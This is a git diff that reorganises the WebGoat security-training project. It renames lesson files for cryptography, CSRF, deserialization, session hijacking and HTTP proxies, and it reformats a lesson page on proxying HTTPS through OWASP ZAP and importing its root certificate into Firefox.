rename from webgoat-lessons/crypto/src/main/resources/lessonPlans/en/encryption.adoc rename to src/main/resources/lessons/cryptography/documentation/encryption.adoc diff --git a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/hashing_plan.adoc b/src/main/resources/lessons/cryptography/documentation/hashing_plan.adoc similarity index 100% rename from webgoat-lessons/crypto/src/main/resources/lessonPlans/en/hashing_plan.adoc rename to src/main/resources/lessons/cryptography/documentation/hashing_plan.adoc diff --git a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/keystores.adoc b/src/main/resources/lessons/cryptography/documentation/keystores.adoc similarity index 100% rename from webgoat-lessons/crypto/src/main/resources/lessonPlans/en/keystores.adoc rename to src/main/resources/lessons/cryptography/documentation/keystores.adoc diff --git a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/postquantum.adoc b/src/main/resources/lessons/cryptography/documentation/postquantum.adoc similarity index 100% rename from webgoat-lessons/crypto/src/main/resources/lessonPlans/en/postquantum.adoc rename to src/main/resources/lessons/cryptography/documentation/postquantum.adoc diff --git a/webgoat-lessons/crypto/src/main/resources/lessonPlans/en/signing.adoc b/src/main/resources/lessons/cryptography/documentation/signing.adoc similarity index 100% rename from webgoat-lessons/crypto/src/main/resources/lessonPlans/en/signing.adoc rename to src/main/resources/lessons/cryptography/documentation/signing.adoc diff --git a/webgoat-lessons/crypto/src/main/resources/html/Crypto.html b/src/main/resources/lessons/cryptography/html/Cryptography.html similarity index 82% rename from webgoat-lessons/crypto/src/main/resources/html/Crypto.html rename to src/main/resources/lessons/cryptography/html/Cryptography.html index bd06030e6..6e6f32767 100644 --- a/webgoat-lessons/crypto/src/main/resources/html/Crypto.html +++ b/src/main/resources/lessons/cryptography/html/Cryptography.html @@ -18,11 +18,11 @@ $(document).ready(initialise);
-
+
-
+
@@ -41,7 +41,7 @@ $(document).ready(initialise);
-
+
@@ -58,7 +58,7 @@ $(document).ready(initialise);
-
+
@@ -76,12 +76,12 @@ $(document).ready(initialise);
-
+
-
+
@@ -101,12 +101,12 @@ $(document).ready(initialise);
-
+
-
+
@@ -123,7 +123,7 @@ $(document).ready(initialise);
-
+
- \ No newline at end of file + diff --git a/webgoat-lessons/crypto/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/cryptography/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/crypto/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/cryptography/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/csrf/src/main/resources/css/reviews.css b/src/main/resources/lessons/csrf/css/reviews.css similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/css/reviews.css rename to src/main/resources/lessons/csrf/css/reviews.css diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Basic_Get-1.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Basic_Get-1.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Basic_Get-1.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_Basic_Get-1.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_ContentType.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_ContentType.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_ContentType.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_ContentType.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Frameworks.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_Frameworks.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_GET.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_GET.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_GET.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_GET.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Get_Flag.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Get_Flag.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Get_Flag.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_Get_Flag.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Impact_Defense.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_Impact_Defense.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_JSON.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_JSON.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_JSON.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_JSON.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Login.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Login.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Login.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_Login.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Reviews.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Reviews.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Reviews.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_Reviews.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_intro.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_intro.adoc similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_intro.adoc rename to src/main/resources/lessons/csrf/documentation/CSRF_intro.adoc diff --git a/webgoat-lessons/csrf/src/main/resources/html/CSRF.html b/src/main/resources/lessons/csrf/html/CSRF.html similarity index 91% rename from webgoat-lessons/csrf/src/main/resources/html/CSRF.html rename to src/main/resources/lessons/csrf/html/CSRF.html index 169a2edb6..01fdb696c 100644 --- a/webgoat-lessons/csrf/src/main/resources/html/CSRF.html +++ b/src/main/resources/lessons/csrf/html/CSRF.html @@ -3,15 +3,15 @@
-
+
-
+
-
+
-
+
@@ -54,7 +54,7 @@
-
+
@@ -121,15 +121,15 @@
-
+
-
+
-
+
-
+
@@ -251,10 +251,10 @@
-
+
- \ No newline at end of file + diff --git a/webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/csrf/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/csrf/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/csrf/src/main/resources/images/login-csrf.png b/src/main/resources/lessons/csrf/images/login-csrf.png similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/images/login-csrf.png rename to src/main/resources/lessons/csrf/images/login-csrf.png diff --git a/webgoat-lessons/csrf/src/main/resources/js/csrf-review.js b/src/main/resources/lessons/csrf/js/csrf-review.js similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/js/csrf-review.js rename to src/main/resources/lessons/csrf/js/csrf-review.js diff --git a/webgoat-lessons/csrf/src/main/resources/js/feedback.js b/src/main/resources/lessons/csrf/js/feedback.js similarity index 100% rename from webgoat-lessons/csrf/src/main/resources/js/feedback.js rename to src/main/resources/lessons/csrf/js/feedback.js diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_GadgetChain.adoc b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_GadgetChain.adoc similarity index 100% rename from webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_GadgetChain.adoc rename to src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_GadgetChain.adoc diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Intro.adoc b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_Intro.adoc similarity index 100% rename from webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Intro.adoc rename to src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_Intro.adoc diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_SimpleExploit.adoc b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_SimpleExploit.adoc similarity index 100% rename from webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_SimpleExploit.adoc rename to src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_SimpleExploit.adoc diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_Task.adoc similarity index 100% rename from webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc rename to src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_Task.adoc diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_WhatIs.adoc b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_WhatIs.adoc similarity index 100% rename from webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_WhatIs.adoc rename to src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_WhatIs.adoc diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html b/src/main/resources/lessons/deserialization/html/InsecureDeserialization.html similarity index 59% rename from webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html rename to src/main/resources/lessons/deserialization/html/InsecureDeserialization.html index c0b8d7afa..1b64172f4 100755 --- a/webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html +++ b/src/main/resources/lessons/deserialization/html/InsecureDeserialization.html @@ -3,24 +3,24 @@
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
diff --git a/webgoat-lessons/hijack-session/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/hijacksession/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/hijack-session/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/hijacksession/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/hijack-session/src/main/resources/lessonSolutions/en/HijackSession_solution.adoc b/src/main/resources/lessons/hijacksession/lessonSolutions/en/HijackSession_solution.adoc similarity index 100% rename from webgoat-lessons/hijack-session/src/main/resources/lessonSolutions/en/HijackSession_solution.adoc rename to src/main/resources/lessons/hijacksession/lessonSolutions/en/HijackSession_solution.adoc diff --git a/webgoat-lessons/hijack-session/src/main/resources/lessonSolutions/html/HijackSession.html b/src/main/resources/lessons/hijacksession/lessonSolutions/html/HijackSession.html similarity index 100% rename from webgoat-lessons/hijack-session/src/main/resources/lessonSolutions/html/HijackSession.html rename to src/main/resources/lessons/hijacksession/lessonSolutions/html/HijackSession.html diff --git a/webgoat-lessons/hijack-session/src/main/resources/templates/hijackform.html b/src/main/resources/lessons/hijacksession/templates/hijackform.html similarity index 100% rename from webgoat-lessons/hijack-session/src/main/resources/templates/hijackform.html rename to src/main/resources/lessons/hijacksession/templates/hijackform.html diff --git a/webgoat-lessons/html-tampering/src/main/resources/lessonPlans/en/HtmlTampering_Intro.adoc b/src/main/resources/lessons/html_tampering/documentation/HtmlTampering_Intro.adoc similarity index 100% rename from webgoat-lessons/html-tampering/src/main/resources/lessonPlans/en/HtmlTampering_Intro.adoc rename to src/main/resources/lessons/html_tampering/documentation/HtmlTampering_Intro.adoc diff --git a/webgoat-lessons/html-tampering/src/main/resources/lessonPlans/en/HtmlTampering_Mitigation.adoc b/src/main/resources/lessons/html_tampering/documentation/HtmlTampering_Mitigation.adoc similarity index 100% rename from webgoat-lessons/html-tampering/src/main/resources/lessonPlans/en/HtmlTampering_Mitigation.adoc rename to src/main/resources/lessons/html_tampering/documentation/HtmlTampering_Mitigation.adoc diff --git a/webgoat-lessons/html-tampering/src/main/resources/lessonPlans/en/HtmlTampering_Task.adoc b/src/main/resources/lessons/html_tampering/documentation/HtmlTampering_Task.adoc similarity index 100% rename from webgoat-lessons/html-tampering/src/main/resources/lessonPlans/en/HtmlTampering_Task.adoc rename to src/main/resources/lessons/html_tampering/documentation/HtmlTampering_Task.adoc diff --git a/webgoat-lessons/html-tampering/src/main/resources/html/HtmlTampering.html b/src/main/resources/lessons/html_tampering/html/HtmlTampering.html similarity index 95% rename from webgoat-lessons/html-tampering/src/main/resources/html/HtmlTampering.html rename to src/main/resources/lessons/html_tampering/html/HtmlTampering.html index f4ed29ba2..afd3dba68 100755 --- a/webgoat-lessons/html-tampering/src/main/resources/html/HtmlTampering.html +++ b/src/main/resources/lessons/html_tampering/html/HtmlTampering.html @@ -3,12 +3,12 @@
-
+
-
+
-
+
diff --git a/webgoat-lessons/html-tampering/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/html_tampering/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/html-tampering/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/html_tampering/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/html-tampering/src/main/resources/images/samsung.jpg b/src/main/resources/lessons/html_tampering/images/samsung.jpg similarity index 100% rename from webgoat-lessons/html-tampering/src/main/resources/images/samsung.jpg rename to src/main/resources/lessons/html_tampering/images/samsung.jpg diff --git a/webgoat-lessons/http-basics/src/main/resources/lessonPlans/en/HttpBasics_content1.adoc b/src/main/resources/lessons/http_basics/documentation/HttpBasics_content1.adoc similarity index 100% rename from webgoat-lessons/http-basics/src/main/resources/lessonPlans/en/HttpBasics_content1.adoc rename to src/main/resources/lessons/http_basics/documentation/HttpBasics_content1.adoc diff --git a/webgoat-lessons/http-basics/src/main/resources/lessonPlans/en/HttpBasics_content2.adoc b/src/main/resources/lessons/http_basics/documentation/HttpBasics_content2.adoc similarity index 100% rename from webgoat-lessons/http-basics/src/main/resources/lessonPlans/en/HttpBasics_content2.adoc rename to src/main/resources/lessons/http_basics/documentation/HttpBasics_content2.adoc diff --git a/webgoat-lessons/http-basics/src/main/resources/lessonPlans/en/HttpBasics_plan.adoc b/src/main/resources/lessons/http_basics/documentation/HttpBasics_plan.adoc similarity index 100% rename from webgoat-lessons/http-basics/src/main/resources/lessonPlans/en/HttpBasics_plan.adoc rename to src/main/resources/lessons/http_basics/documentation/HttpBasics_plan.adoc diff --git a/webgoat-lessons/http-basics/src/main/resources/html/HttpBasics.html b/src/main/resources/lessons/http_basics/html/HttpBasics.html similarity index 92% rename from webgoat-lessons/http-basics/src/main/resources/html/HttpBasics.html rename to src/main/resources/lessons/http_basics/html/HttpBasics.html index 40107f4c7..860f18f2d 100644 --- a/webgoat-lessons/http-basics/src/main/resources/html/HttpBasics.html +++ b/src/main/resources/lessons/http_basics/html/HttpBasics.html @@ -6,13 +6,13 @@ -
+
-
+
@@ -42,7 +42,7 @@ -
+
@@ -83,4 +83,4 @@
- \ No newline at end of file + diff --git a/webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/http_basics/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/http_basics/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels_de.properties b/src/main/resources/lessons/http_basics/i18n/WebGoatLabels_de.properties similarity index 100% rename from webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels_de.properties rename to src/main/resources/lessons/http_basics/i18n/WebGoatLabels_de.properties diff --git a/webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels_fr.properties b/src/main/resources/lessons/http_basics/i18n/WebGoatLabels_fr.properties similarity index 100% rename from webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels_fr.properties rename to src/main/resources/lessons/http_basics/i18n/WebGoatLabels_fr.properties diff --git a/webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels_nl.properties b/src/main/resources/lessons/http_basics/i18n/WebGoatLabels_nl.properties similarity index 100% rename from webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels_nl.properties rename to src/main/resources/lessons/http_basics/i18n/WebGoatLabels_nl.properties diff --git a/webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels_ru.properties b/src/main/resources/lessons/http_basics/i18n/WebGoatLabels_ru.properties similarity index 100% rename from webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels_ru.properties rename to src/main/resources/lessons/http_basics/i18n/WebGoatLabels_ru.properties diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/0overview.adoc b/src/main/resources/lessons/http_proxies/documentation/0overview.adoc similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/0overview.adoc rename to src/main/resources/lessons/http_proxies/documentation/0overview.adoc diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/10burp.adoc b/src/main/resources/lessons/http_proxies/documentation/10burp.adoc similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/10burp.adoc rename to src/main/resources/lessons/http_proxies/documentation/10burp.adoc diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/1proxysetupsteps.adoc b/src/main/resources/lessons/http_proxies/documentation/1proxysetupsteps.adoc similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/1proxysetupsteps.adoc rename to src/main/resources/lessons/http_proxies/documentation/1proxysetupsteps.adoc diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/3browsersetup.adoc b/src/main/resources/lessons/http_proxies/documentation/3browsersetup.adoc similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/3browsersetup.adoc rename to src/main/resources/lessons/http_proxies/documentation/3browsersetup.adoc diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/5configurefilterandbreakpoints.adoc b/src/main/resources/lessons/http_proxies/documentation/5configurefilterandbreakpoints.adoc similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/5configurefilterandbreakpoints.adoc rename to src/main/resources/lessons/http_proxies/documentation/5configurefilterandbreakpoints.adoc diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/6assignment.adoc b/src/main/resources/lessons/http_proxies/documentation/6assignment.adoc similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/6assignment.adoc rename to src/main/resources/lessons/http_proxies/documentation/6assignment.adoc diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/7resend.adoc b/src/main/resources/lessons/http_proxies/documentation/7resend.adoc similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/7resend.adoc rename to src/main/resources/lessons/http_proxies/documentation/7resend.adoc diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/8httpsproxy.adoc b/src/main/resources/lessons/http_proxies/documentation/8httpsproxy.adoc similarity index 98% rename from webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/8httpsproxy.adoc rename to src/main/resources/lessons/http_proxies/documentation/8httpsproxy.adoc index 192a1953f..0c3875dfa 100644 --- a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/8httpsproxy.adoc +++ b/src/main/resources/lessons/http_proxies/documentation/8httpsproxy.adoc @@ -1,27 +1,27 @@ -== Proxy from ZAP to HTTPS - -The ZAP proxy can also be configured to proxy *HTTPS* requests. It will terminate the HTTPS connection in ZAP and then proxy it to the target using its keystore. You can even proxy to sites with mutual TLS. In that case, you configure OWASP ZAP with the keystore and key to use for the connection. - -Go to Tools/Options/Client Certificate to proxy to a mutual TLS HTTPS site. -Go to Tools/Options/Connection if you want to set timeouts and want to force the use of TLSv1.2 e.g. - - -=== Export the certificate - -Depending on the local tools installation, ZAP can start a browser directly with some adjusted options like network settings and certificate adjustments. However, you should do this step if you want to start your browser independently of ZAP. To be able to use the browser, the browser needs the certificate, which you can export here: - -image::images/rootca.png[ZAP root CA,style="lesson-image"] -image::images/savecerts.png[ZAP save CA,style="lesson-image"] - - - -=== Import the OWASP ZAP root certificate - -. Go to your Firefox Preferences (Mac, Linux) or Options (Windows) from the menu.` -. Search for _certificates_ -. Click _View certificates_ -. Import the ZAP root certificate that was saved (see the previous page) - -image::images/firefoxsettingscerts.png[Firefox Certificates,width="75%",style="lesson-image"] - -image::images/importcerts.png[Firefox Certificate import,width="75%",style="lesson-image"] +== Proxy from ZAP to HTTPS + +The ZAP proxy can also be configured to proxy *HTTPS* requests. It will terminate the HTTPS connection in ZAP and then proxy it to the target using its keystore. You can even proxy to sites with mutual TLS. In that case, you configure OWASP ZAP with the keystore and key to use for the connection. + +Go to Tools/Options/Client Certificate to proxy to a mutual TLS HTTPS site. +Go to Tools/Options/Connection if you want to set timeouts and want to force the use of TLSv1.2 e.g. + + +=== Export the certificate + +Depending on the local tools installation, ZAP can start a browser directly with some adjusted options like network settings and certificate adjustments. However, you should do this step if you want to start your browser independently of ZAP. To be able to use the browser, the browser needs the certificate, which you can export here: + +image::images/rootca.png[ZAP root CA,style="lesson-image"] +image::images/savecerts.png[ZAP save CA,style="lesson-image"] + + + +=== Import the OWASP ZAP root certificate + +. Go to your Firefox Preferences (Mac, Linux) or Options (Windows) from the menu.` +. Search for _certificates_ +. Click _View certificates_ +. Import the ZAP root certificate that was saved (see the previous page) + +image::images/firefoxsettingscerts.png[Firefox Certificates,width="75%",style="lesson-image"] + +image::images/importcerts.png[Firefox Certificate import,width="75%",style="lesson-image"] diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/9manual.adoc b/src/main/resources/lessons/http_proxies/documentation/9manual.adoc similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/9manual.adoc rename to src/main/resources/lessons/http_proxies/documentation/9manual.adoc diff --git a/webgoat-lessons/http-proxies/src/main/resources/html/HttpProxies.html b/src/main/resources/lessons/http_proxies/html/HttpProxies.html similarity index 52% rename from webgoat-lessons/http-proxies/src/main/resources/html/HttpProxies.html rename to src/main/resources/lessons/http_proxies/html/HttpProxies.html index 98f266c43..f916785db 100644 --- a/webgoat-lessons/http-proxies/src/main/resources/html/HttpProxies.html +++ b/src/main/resources/lessons/http_proxies/html/HttpProxies.html @@ -3,23 +3,23 @@
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
diff --git a/webgoat-lessons/http-proxies/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/http_proxies/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/http_proxies/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/breakpoint.png b/src/main/resources/lessons/http_proxies/images/breakpoint.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/breakpoint.png rename to src/main/resources/lessons/http_proxies/images/breakpoint.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/breakpoint2.png b/src/main/resources/lessons/http_proxies/images/breakpoint2.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/breakpoint2.png rename to src/main/resources/lessons/http_proxies/images/breakpoint2.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/burpfilter.png b/src/main/resources/lessons/http_proxies/images/burpfilter.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/burpfilter.png rename to src/main/resources/lessons/http_proxies/images/burpfilter.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/burpfilterclient.png b/src/main/resources/lessons/http_proxies/images/burpfilterclient.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/burpfilterclient.png rename to src/main/resources/lessons/http_proxies/images/burpfilterclient.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/burpintercept.png b/src/main/resources/lessons/http_proxies/images/burpintercept.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/burpintercept.png rename to src/main/resources/lessons/http_proxies/images/burpintercept.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/burpintercepted.png b/src/main/resources/lessons/http_proxies/images/burpintercepted.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/burpintercepted.png rename to src/main/resources/lessons/http_proxies/images/burpintercepted.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/burpproxy.png b/src/main/resources/lessons/http_proxies/images/burpproxy.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/burpproxy.png rename to src/main/resources/lessons/http_proxies/images/burpproxy.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/burpwarn.png b/src/main/resources/lessons/http_proxies/images/burpwarn.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/burpwarn.png rename to src/main/resources/lessons/http_proxies/images/burpwarn.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/chrome-manual-proxy-win.png b/src/main/resources/lessons/http_proxies/images/chrome-manual-proxy-win.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/chrome-manual-proxy-win.png rename to src/main/resources/lessons/http_proxies/images/chrome-manual-proxy-win.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/chrome-manual-proxy.png b/src/main/resources/lessons/http_proxies/images/chrome-manual-proxy.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/chrome-manual-proxy.png rename to src/main/resources/lessons/http_proxies/images/chrome-manual-proxy.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/firefox-proxy-config.png b/src/main/resources/lessons/http_proxies/images/firefox-proxy-config.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/firefox-proxy-config.png rename to src/main/resources/lessons/http_proxies/images/firefox-proxy-config.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/firefoxsettingscerts.png b/src/main/resources/lessons/http_proxies/images/firefoxsettingscerts.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/firefoxsettingscerts.png rename to src/main/resources/lessons/http_proxies/images/firefoxsettingscerts.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/importcerts.png b/src/main/resources/lessons/http_proxies/images/importcerts.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/importcerts.png rename to src/main/resources/lessons/http_proxies/images/importcerts.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/loginscreen.png b/src/main/resources/lessons/http_proxies/images/loginscreen.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/loginscreen.png rename to src/main/resources/lessons/http_proxies/images/loginscreen.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/newlocalhost.png b/src/main/resources/lessons/http_proxies/images/newlocalhost.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/newlocalhost.png rename to src/main/resources/lessons/http_proxies/images/newlocalhost.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/proxy-intercept-button.png b/src/main/resources/lessons/http_proxies/images/proxy-intercept-button.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/proxy-intercept-button.png rename to src/main/resources/lessons/http_proxies/images/proxy-intercept-button.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/proxy-intercept-details.png b/src/main/resources/lessons/http_proxies/images/proxy-intercept-details.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/proxy-intercept-details.png rename to src/main/resources/lessons/http_proxies/images/proxy-intercept-details.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/rootca.png b/src/main/resources/lessons/http_proxies/images/rootca.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/rootca.png rename to src/main/resources/lessons/http_proxies/images/rootca.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/savecerts.png b/src/main/resources/lessons/http_proxies/images/savecerts.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/savecerts.png rename to src/main/resources/lessons/http_proxies/images/savecerts.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap-browser-button.png b/src/main/resources/lessons/http_proxies/images/zap-browser-button.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/zap-browser-button.png rename to src/main/resources/lessons/http_proxies/images/zap-browser-button.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap-exclude.png b/src/main/resources/lessons/http_proxies/images/zap-exclude.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/zap-exclude.png rename to src/main/resources/lessons/http_proxies/images/zap-exclude.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap-history.png b/src/main/resources/lessons/http_proxies/images/zap-history.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/zap-history.png rename to src/main/resources/lessons/http_proxies/images/zap-history.png diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap-start.png b/src/main/resources/lessons/http_proxies/images/zap-start.png similarity index 100% rename from webgoat-lessons/http-proxies/src/main/resources/images/zap-start.png rename to src/main/resources/lessons/http_proxies/images/zap-start.png diff --git 